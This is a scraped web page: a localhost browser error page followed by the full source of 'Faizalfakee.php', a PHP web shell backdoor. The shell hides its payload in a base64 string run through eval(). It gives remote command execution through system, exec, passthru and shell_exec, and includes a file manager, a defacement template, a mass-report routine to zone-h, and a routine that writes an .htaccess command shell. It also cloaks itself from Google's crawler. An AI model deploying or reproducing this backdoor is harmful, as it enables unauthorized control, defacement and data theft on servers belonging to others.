* @param {string} id The key that identifies the desired number.
* @return {number} The corresponding number value.
*/
getInteger(id) {
const value = this.getValue(id);
expectIsType(id, value, 'number');
expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
return /** @type {number} */ (value);
}
/**
* Override values in loadTimeData with the values found in |replacements|.
* @param {Object} replacements The dictionary object of keys to replace.
*/
overrideValues(replacements) {
expect(
typeof replacements === 'object',
'Replacements must be a dictionary object.');
for (const key in replacements) {
this.data_[key] = replacements[key];
}
}
}
/**
* Checks condition, throws error message if expectation fails.
* @param {*} condition The condition to check for truthiness.
* @param {string} message The message to display if the check fails.
*/
function expect(condition, message) {
if (!condition) {
throw new Error(
'Unexpected condition on ' + document.location.href + ': ' + message);
}
}
/**
* Checks that the given value has the given type.
* @param {string} id The id of the value (only used for error message).
* @param {*} value The value to check the type on.
* @param {string} type The type we expect |value| to be.
*/
function expectIsType(id, value, type) {
expect(
typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}
expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();
// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;
console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/faizalfakee.php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/faizalfakee.php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>
<?php
@ini_set('output_buffering',0); //
//@ini_set('display_errors', 0); //
//@ini_set('error_reporting', 0); //
/*
#####################################################
## Name : Faizalfakee.php ##
## Version : v1.5 Mini ##
## Author : Faizalfakee ##
## Contact : Ifa14815@gmail.com ##
#####################################################
*/
$pass = "3776ae7a24f461c33aa4e60a8e43eda9"; // Password Encrypted By MD5, pass is:" faizalfakee "
$title = "Faizalfakee.php"; // Title
$color = "white"; // Color
$background= "http://oi58.tinypic.com/2u8fmnn.jpg"; // Background
$logo = "http://oi58.tinypic.com/10r33mq.jpg"; // Logo
$music = "https://e.top4top.io/m_19768wlyd0.mp3";
$script_deface = "<html><head><title>Touched By Faizalfakee</title></head><body>Touched By Faizalfakee <br> My Friends : LEXUSFAKEE - MR.R07 - BABI NGEPET - UNKNOWNEXPLOIT - KENZO X DEMONS - SADBOY REMBTUK343 |<embed src='http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1' type='application/x-shockwave-flash' wmode='transparent' width='0' height='0'></embed>"; //Script Deface. (html, php, txt)
/*
Content is encrypted by gzdeflate , base64 , and others . if you want the source code , please use the tool "PHP Decrypter". In case you dont trust me :-P
*/
eval(base64_decode("CiR4TmFtZSA9ICJTZWN1cml0eSBFeHBsb2RlZCI7CiR2ZXJzaSA9ICJ2MS41IE1pbmkiOyAvLyBTaGVsbCBWZXJzaW9uCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7IApAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IAppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyAKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyAKICAgIGV4aXQ7IH0KJGluZG89ZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vaW1hZ2UuaWJiLmNvL2N0M1pybi9pbmRvbmVzaWFfaWNvbi5wbmciKTsgIApAc2Vzc2lvbl9zdGFydCgpOyAKQGVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOyAKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyAKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBpbmlfc2V0KCdkaXNwb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aXBzbGFzaGVzKCR0ZXh0KTsKfQoKZnVuY3Rpb24gc2hvd2RpcigkcHdkLCRwcm9tcHQpewogICAgJGZuYW1lID0gYXJyYXkoKTsKICAgICRkbmFtZSA9IGFycmF5KCk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpKSAkcG9zaXggPSBUUlVFOwogICAgZWxzZSAkcG9zaXggPSBGQUxTRTsKICAgICR1c2VyID0gIj8/Pz86Pz8/PyI7CiAgICBpZigkZGggPSBAc2NhbmRpcigkcHdkKSl7CiAgICAgICAgZm9yZWFjaCgkZGggYXMgJGZpbGUpewogICAgICAgICAgICBpZihpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRkbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRmbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAgIGlmKCRkaCA9IEBvcGVuZGlyKCRwd2QpKXsKICAgICAgICAgICAgd2hpbGUoJGZpbGUgPSBAcmVhZGRpcigkZGgpKXsKICAgICAgICAgICAgICAgIGlmKEBpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICAgICAkZG5hbWVbXSA9ICRmaWxlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmKEBpc19maWxlKCRmaWxlKSl7CiAgICAgICAgICAgICAgICAgICAgJGZuYW1lW10gPSAkZmlsZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBAY2xvc2VkaXIoJGRoKTsKICAgICAgICB9CiAgICB9CiAgICBzb3J0KCRmbmFtZSk7CiAgICBzb3J0KCRkbmFtZSk7CiAgICAkcGF0aCA9IEB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gIHJldHVybiAiJHNpemUga2IiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0IC8gMTAyNCwyKTsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUgbWIiOyAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlIHJldHVybiAiPz8/IjsKfQoKZnVuY3Rpb24gZXhlKCRjbWQpewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGNtZCk7CiAgICAgICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgQG9iX2VuZF9jbGVhbigpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KICAgIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRjbWQsJHJlc3VsdHMpOwogICAgICAgICRidWZmID0gIiI7CiAgICAgICAgZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KXsKICAgICAgICAgICAgJGJ1ZmYgLj0gJHJlc3VsdDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkY21kKTsKICAgICAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKICAgICAgICAkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgIHJldHVybiAkYnVmZj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fRk9MTE9XTE9DQVRJT04sIHRydWUpOyAKICAgIGN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgCiAgICAka3VicmEgPSBjdXJsX2V4ZWMoJGspOyAKICAgIGN1cmxfY2xvc2UoJGspOyAKICAgIHJldHVybiAka3VicmE7IAp9IAp7IAogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsgCiAgICAgICAgICAgICAgICAkc3ViID0gQGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOyAKICAgICAgICAgICAgICAgIGlmKCFpbl9hcnJheSgiY3VybCIsICRzdWIpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgZGllKCc8Y2VudGVyPjxiPlstXSBDdXJsIElzIE5vdCBTdXBwb3J0ZWQgISFbLV08L2I+PC9jZW50ZXI+Jyk7IAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJGhhY2tlciA9ICRfUE9TVFsnZGVmYWNlciddOyAKICAgICAgICAgICAgICAgICRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107IAogICAgICAgICAgICAgICAgJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsgCiAgICAgICAgICAgICAgICAkc2l0ZSA9ICRfUE9TVFsnZG9tYWluJ107IAogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRoYWNrZXIpKSAKICAgICAgICAgICAgICAgIHsgZGllICgiPGNlbnRlcj48Yj4gPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSAgCiAgICAgICAgICAgICAgICB7IGRpZSgiPGNlbnRlcj48Yj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBNRVRIT0QgWytdPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpICAKICAgICAgICAgICAgICAgIHsgIGRpZSgiPGNlbnRlcj48Yj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBSRUFTT04gWytdPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKGVtcHR5KCRzaXRlKSkgIAogICAgICAgICAgICAgICAgeyBkaWUoIjxjZW50ZXI+PGI+WytdIFlPVSBNVVNUIElOVEVSIFRIRSBTSVRFUyBMSVNUIFsrXTwvYj48L2NlbnRlcj4iKTsgfSAKICAgICAgICAgICAgICAgICRpID0gMDsgCiAgICAgICAgICAgICAgICAkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsgCiAgICAgICAgICAgICAgICB3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpICAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgIAogICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsgCiAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICBab25lSCgiaHR0cDovL3d3dy56b25lLWguY29tL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOyAKICAgICAgICAgICAgICAgICAgICAgZWNobyAiJHNpdGVzWyRpXSI7IAogICAgICAgICAgICAgICAgICAgICsrJGk7IAogICAgICAgICAgICAgICAgfSAKCiAgICAgICAgICAgIH0gCgogICAgCn0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8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0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFhCb2NDQXVhSFJoWTJObGMzTU5DaU1nUEQ5d2FIQWdjR0Z6YzNSb2NuVW9KRjlIUlZSYkoyTnRaQ2RkS1RzL1BnMEsnOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGh0KSk7CiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnaHRhY2Nlc3MgU2hlbGwgWyAuaHRhY2Nlc3MgXSBDcmVhdGVkIDogb3BlbiBpbiBzaXRlLy5odGFjY2Vzcz9jbWQ9ICcpOyBoaWRlQWxsKCk7PC9zY3JpcHQ+IjsKICAgICAgICBkaWUoKTsKICAgICAgICB9CiAgICAgICAgCiAgICB9CiAgICA="));
?><br><br> <div class="footer"><b style="color:$color;font-family:monotype corsiva;font-size:22;"><?=$title; ?> <?=$versi ?> Shell Backdoor</b></div>
<div class="jaya"> © <?=date('Y',time()); ?> <a href=""><?=$xName ?></a></div></div>
</body>
</html>